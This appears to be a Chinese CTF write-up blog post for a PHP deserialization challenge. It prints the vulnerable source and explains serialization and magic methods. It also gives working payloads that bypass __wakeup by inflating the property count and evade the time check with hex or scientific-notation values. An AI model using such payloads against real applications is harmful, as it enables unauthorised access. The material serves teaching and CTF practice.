Please don't stop rua 233333
新博客:https://wywwzjj.top/
原题网址
<?php
class Time{public $flag = xxxxx;public $truepassword = xxxxx;public $time;public $password;public function construct($tt, $pp) {$this->time = $tt;$this->password = $pp;}function __destruct(){if(!empty($this->password)) {if(strcmp($this->password,$this->truepassword)==0){echo "<h1>Welcome,you need to wait......<br>The flag will become soon....</h1><br>";if(!empty($this->time)){if(!is_numeric($this->time)){echo 'Sorry.<br>';show_source(__FILE__);}else if($this->time < 11 * 22 * 33 * 44 * 55 * 66){echo 'you need a bigger time.<br>';}else if($this->time > 66 * 55 * 44 * 33 * 23 * 11){echo 'you need a smaller time.<br>';}else{sleep((int)$this->time);var_dump($this->flag);}echo '<hr>';}else{echo '<h1>you have no time!!!!!</h1><br>';}}else{echo '<h1>Password is wrong............</h1><br>';}}else{echo "<h1>Please input password..........</h1><br>";}}function __wakeup(){echo 'hello hacker,I have changed your password and time, rua!';}
}if(isset($_GET['rua'])){//$test = new Time(1.275523920, array("a"));$rua = $_GET['rua'];@unserialize($rua);
}
else{echo "<h1>Please don't stop rua 233333</h1><br>";
}
稍稍记录一下,简单的反序列化。
何为序列化?
序列化对象 - 在会话中存放对象 ¶
所有 php 里面的值都可以使用函数 serialize() 来返回一个包含字节流的字符串来表示。unserialize() 函数能够重新把字符串变回 php 原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
为了能够unserialize()一个对象,这个对象的类必须已经定义过。如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。 如果要想在另外一个文件中解序列化一个对象,这个对象的类必须在解序列化之前定义,可以通过包含一个定义该类的文件或使用函数spl_autoload_register()来实现。
序列化字符串格式:变量类型:变量长度:变量内容
例如序列化对象字符串:
变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容}
PHP 中的魔术方法(Magic methods)
__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(),
__sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(),__debugInfo()
这里我们着重关注几个:
__construct()
:当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。__destruct()
:当对象被销毁时会自动调用。__sleep()
:serialize() 会检查类中是否存在一个魔术方法 __sleep()。若存在,该方法会先被调用,再执行序列化操作__wakeup()
:unserialize() 会检查是否存在一个 __wakeup() 方法。若存在,则先调用 __wakeup 方法,预先准备对象需要的资源。__toString()
:用于一个类被当成字符串时应怎样回应。例如echo $obj;
应该显示些什么。
PHP 有个 Bug,该漏洞可以概括为:
当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过 __wakeup 函数的执行
rua=O:4:"Time":3:{
注意上面的 3 ,是属性数量,本来2个就够了。
16进制 0x
开头在强制转换中出现问题,导致转换成0
payload 如下:
rua=O:4:%22Time%22:4:{s:4:%22time%22;s:10:%220x4c06f350%22;s:8:%22password%22;a:2:{i:0;s:1:%22a%22;i:1;s:1:%22b%22;}}
还有一种办法:科学计数法绕过 sleep()
rua=O:4:"Time":3:{s:4:"time";s:5:"1.3e9";
Please don't stop rua 233333相关推荐
- 开始我的Opengl学习之路(rua)
这一系列的我的总结或者我的想法都是基于LearnOpengl来展开的,所以要学过那个教程之后还不懂可以来看下我的土话,我的想法可能会让你理解的轻松点. 搭TM的环境 前言: 关于之前的博客可能N久都未 ...
- redis rua解决库存问题_如何解决高并发下的库存安全问题,没你想得那么复杂(附源码)...
一. 问题 不知道大家该开发中有没有遇到这样的一个问题,在电影院购票或者去网上买东西的时候,比方说当年哪吒大电影出来的时候,那抢票相当火爆啊,一票难求,那购票系统的后台是如何保证观众能买到自己喜欢的票 ...
- redis rua解决库存问题_【150期】面试官:Redis的各项功能解决了哪些问题?
点击上方"Java面试题精选",关注公众号 面试刷图,查缺补漏 >>号外:往期面试题,10篇为一个单位归置到本公众号菜单栏->面试题,有需要的欢迎翻阅 阶段汇总集 ...
- redis rua解决库存问题_库存秒杀问题-redis解决方案- 接口限流
/** * Created by PhpStorm. * redis 销量超卖秒杀解决方案 * redis 文档:http://doc.redisfans.com/ * ab -n 10000 -c ...
- rua噗实验(rip实验)
实验要求: 一.设置路由器的ip地址和环回地址 如图 然后就是敲他!敲她!敲它! R1的 R2的 R3的 R4的 R5的 敲完收工! 二.宣告自己! 后面不敲了 自己想去!(进入rip v2 然后ne ...
- RUA!ERROR!
Error不可怕解决就是啦 (づ ̄3 ̄)づ╭❤- Error 1 一个超级经典的错误! overflow 栈不空就遍历输出(但是仅遍历是不会导致栈空的所以是典型的while(true)error) p ...
- Gradle(古rua都)vs Maven(马文)
#现在市面用到的项目构建工具有三种:Ant.Maven和Gradle:今天我们就来说说Maven和Gardle的一些区别? 现在说说为什么要使用项目构建工具? 在以前,这些操作都是需要我们手动去完成的 ...
- ZEND STUDIO 设置RUA AS WEB 方式
wamp+ZendStudio 打造的PHP本地运行环境 zendStudio的工作路径 与wamp的WWW一致 workspace :D:\PHP\wamp\www Zend Studio有三种运 ...
- redis rua解决库存问题_Redis锁完美解决高并发秒杀问题
场景:一家网上商城做商品限量秒杀. 1 单机环境下的锁 将商品的数量存到Redis中.每个用户抢购前都需要到Redis中查询商品数量(代替mysql数据库.不考虑事务),如果商品数量大于0,则证明商品 ...
最新文章
- 页面自动获取焦点影响页面切换效果_ReactIndex - 让文件夹index页面变得更有实用性 (替换传统Web服务器index页)...
- 网络负载均衡-负载均衡器
- Attach Volume 操作(Part I) - 每天5分钟玩转 OpenStack(53)
- python 网络聊天服务端
- 用BP人工神经网络识别手写数字——《Python也可以》之三
- sccm 2007 r2 step by step 之十五 补丁管理
- oracle中查找锁定状态的用户
- vue2.0桌面端框架_Vue PC端框架
- java 语法 —— final
- 55个高质量的Magento主题,助你构建电子商务站点
- 三星c5怎么改系统语言,三星c5驱动|三星c5手机驱动下载 v1.5.55.0 官方版 - 比克尔下载...
- Fiddler抓包没有网!
- bootstrap文件上传插件
- IC卡读写器的应用有哪些?
- 中国海洋科技发展迅速 海洋重器世界领先
- 栅栏CyclicBarrier
- 阿里云科技驱动“数字化转型”,助力中小企业发展“突围”
- word使用的奇技淫巧
- RAID——独立冗余磁盘阵列
- 量子信息技术(QIT)